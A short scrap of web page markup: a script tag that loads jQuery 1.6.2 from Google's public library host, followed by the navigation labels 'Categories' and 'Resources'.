<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>

Categories

Resources